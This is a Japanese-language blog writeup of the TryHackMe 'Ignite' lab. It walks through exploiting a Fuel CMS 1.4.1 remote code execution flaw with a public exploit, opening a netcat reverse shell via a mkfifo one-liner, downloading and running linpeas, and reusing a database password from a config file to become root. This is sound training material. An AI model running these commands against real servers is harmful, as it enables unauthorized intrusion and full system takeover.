はまやんはまやんはまやん

hamayanhamayan's blog

Ignite 解説 (Writeup) [TryHackMe]

f:id:hamayanhamayan:20210523163044p:plain

一部を■で隠しています。

第一段階:ユーザーシェル獲得

Recon

nmapとgobusterをとりあえずかける。

$ export IP=[your IP]
$ nmap -sC -sV $IP
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/fuel/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome to FUEL CMS
$ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt > gobuster.txt
http://[your IP]/0 (Status: 200)
http://[your IP]/assets (Status: 301)
http://[your IP]/home (Status: 200)
http://[your IP]/index (Status: 200)
http://[your IP]/index.php (Status: 200)
http://[your IP]/offline (Status: 200)
http://[your IP]/robots.txt (Status: 200)

コマンドインジェクションからのリバースシェルっぽい。
FUEL CMSが動いている。
サイトを見てみるが、特に何もない。
Fuel CMS脆弱性を見てみる。

Fuel CMS

$ searchsploit fuel
---------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title                                                                                                                                                  |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------Franklin Fueling TS-550 evo 2.0.0.6833 - Multiple Vulnerabilities                                                                                               | hardware/webapps/31180.txt      
fuel CMS 1.4.1 - Remote Code Execution (1)                                                                                                                      | linux/webapps/47138.py
Fuel CMS 1.4.1 - Remote Code Execution (2)                                                                                                                      | php/webapps/49487.rb
Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated)                                                                                                            | php/webapps/48741.txt
Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated)                                                                                                | php/webapps/48778.txt
---------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------Shellcodes: No Results
Papers: No Results

色々ありますね…RCEをとりあえず試す。ちなみにPoCコードにはProxy関連のコードが入っているので削除して使用しないと例外が出る。

$ searchsploit -p 47138
  Exploit: fuel CMS 1.4.1 - Remote Code Execution (1)
      URL: https://www.exploit-db.com/exploits/47138
     Path: /usr/share/exploitdb/exploits/linux/webapps/47138.py
File Type: HTML document, ASCII text, with CRLF line terminators
$ cp /usr/share/exploitdb/exploits/linux/webapps/47138.py 47138.py
$ python2 47138.py 
cmd:id
systemuid=33(www-data) gid=33(www-data) groups=33(www-data)

良い感じ。リバースシェルしよう。> nc -vnlp 30303で待って、一通り発動ペイロードを試すと以下で刺さる。

$ python2 47138.py 
cmd:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [yourIP] 30303 >/tmp/f

ささったら、中を探索してフラグを見つける。

$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ubuntu:/var/www/html$ cd /home
cd /home
www-data@ubuntu:/home$ ls -la
ls -la
total 12
drwxr-xr-x  3 root     root     4096 Jul 26  2019 .
drwxr-xr-x 24 root     root     4096 Jul 26  2019 ..
drwx--x--x  2 www-data www-data 4096 Jul 26  2019 www-data
www-data@ubuntu:/home$ cd www-data
cd www-data
www-data@ubuntu:/home/www-data$ ls -la
ls -la
total 12
drwx--x--x 2 www-data www-data 4096 Jul 26  2019 .
drwxr-xr-x 3 root     root     4096 Jul 26  2019 ..
-rw-r--r-- 1 root     root       34 Jul 26  2019 flag.txt
www-data@ubuntu:/home/www-data$ cat flag.txt
cat flag.txt
■■■■■■■■■■■■■■■■■■■■■■

第二段階:権限昇格

いつもの権限昇格確認を試すが刺さらないので、linpeas.shで詳しく解析していこう。

ホスト側
$ curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh > linpeas.sh
$ python -m http.server 80

被害者側
$ wget http://[yourIP]/linpeas.sh
$ sh linpeas.sh
[+] USBCreator
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation
Vulnerable!!

[+] SUID - Check easy privesc, exploits and write perms
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 root root        44K May  7  2014 /bin/ping6
-rwsr-xr-x 1 root root        44K May  7  2014 /bin/ping
-rwsr-xr-x 1 root root        31K Jul 12  2016 /bin/fusermount
-rwsr-xr-- 1 root messagebus  42K Jan 12  2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root       139K Jan 28  2017 /bin/ntfs-3g  --->  Debian9/8/7/Ubuntu/Gentoo/others/Ubuntu_Server_16.10_and_others(02-2017)
-rwsr-xr-x 1 root root        19K Mar 17  2017 /usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
-rwsr-xr-x 1 root root        10K Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root        40K May 16  2017 /usr/bin/chsh
-rwsr-xr-x 1 root root        53K May 16  2017 /usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root        74K May 16  2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root        49K May 16  2017 /usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root root        39K May 16  2017 /usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-xr-x 1 root root        40K May 16  2017 /bin/su
-rwsr-xr-x 1 root root       134K Jul  4  2017 /usr/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root        11K May  8  2018 /usr/bin/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root        27K May 16  2018 /bin/umount  --->  BSD/Linux(08-1996)
-rwsr-xr-x 1 root root        40K May 16  2018 /bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-- 1 root dip        386K Jun 12  2018 /usr/sbin/pppd  --->  Apple_Mac_OSX_10.4.8(05-2007)
-rwsr-sr-x 1 root root        11K Oct 25  2018 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-x 1 root root        15K Jan 15  2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root        23K Jan 15  2019 /usr/bin/pkexec  --->  Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)
-rwsr-sr-x 1 root root        97K Jan 29  2019 /usr/lib/snapd/snap-confine  --->  Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304)
-rwsr-xr-x 1 root root       419K Jan 31  2019 /usr/lib/openssh/ssh-keysign

[+] Finding passwords inside key folders (limit 70) - only PHP files
/var/www/html/fuel/application/config/MY_fuel.php:$config['default_pwd'] = 'admin';
/var/www/html/fuel/application/config/constants.php:defined('EXIT_DATABASE')       OR define('EXIT_DATABASE', 8); // database error
/var/www/html/fuel/application/config/constants.php:defined('EXIT_USER_INPUT')     OR define('EXIT_USER_INPUT', 7); // invalid user input
/var/www/html/fuel/application/config/database.php:     'password' => '■■■■■■■■■■■■■■■■■■■■■■■',
/var/www/html/fuel/codeigniter/core/compat/hash.php:                    $password = hash($algo, $password, TRUE);
/var/www/html/fuel/codeigniter/core/compat/hash.php:    function hash_pbkdf2($algo, $password, $salt, $iterations, $length = 0, $raw_output = FALSE)

怪しいのが色々列挙されてくるが、パスワードっぽいものが抜き出せている。
rootパスワードとして使えないか試してみると使えてしまう。

www-data@ubuntu:/var/www/html$ su
su
Password: ■■■■■■■■■■■■■■■■■■■■■■■

root@ubuntu:/var/www/html# cd /root
cd /root
root@ubuntu:~# ls -la
ls -la
total 32
drwx------  4 root root 4096 Jul 26  2019 .
drwxr-xr-x 24 root root 4096 Jul 26  2019 ..
-rw-------  1 root root  357 Jul 26  2019 .bash_history
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwx------  2 root root 4096 Feb 26  2019 .cache
drwxr-xr-x  2 root root 4096 Jul 26  2019 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   34 Jul 26  2019 root.txt
root@ubuntu:~# cat root.txt
cat root.txt
■■■■■■■■■■■■■■■■

ok.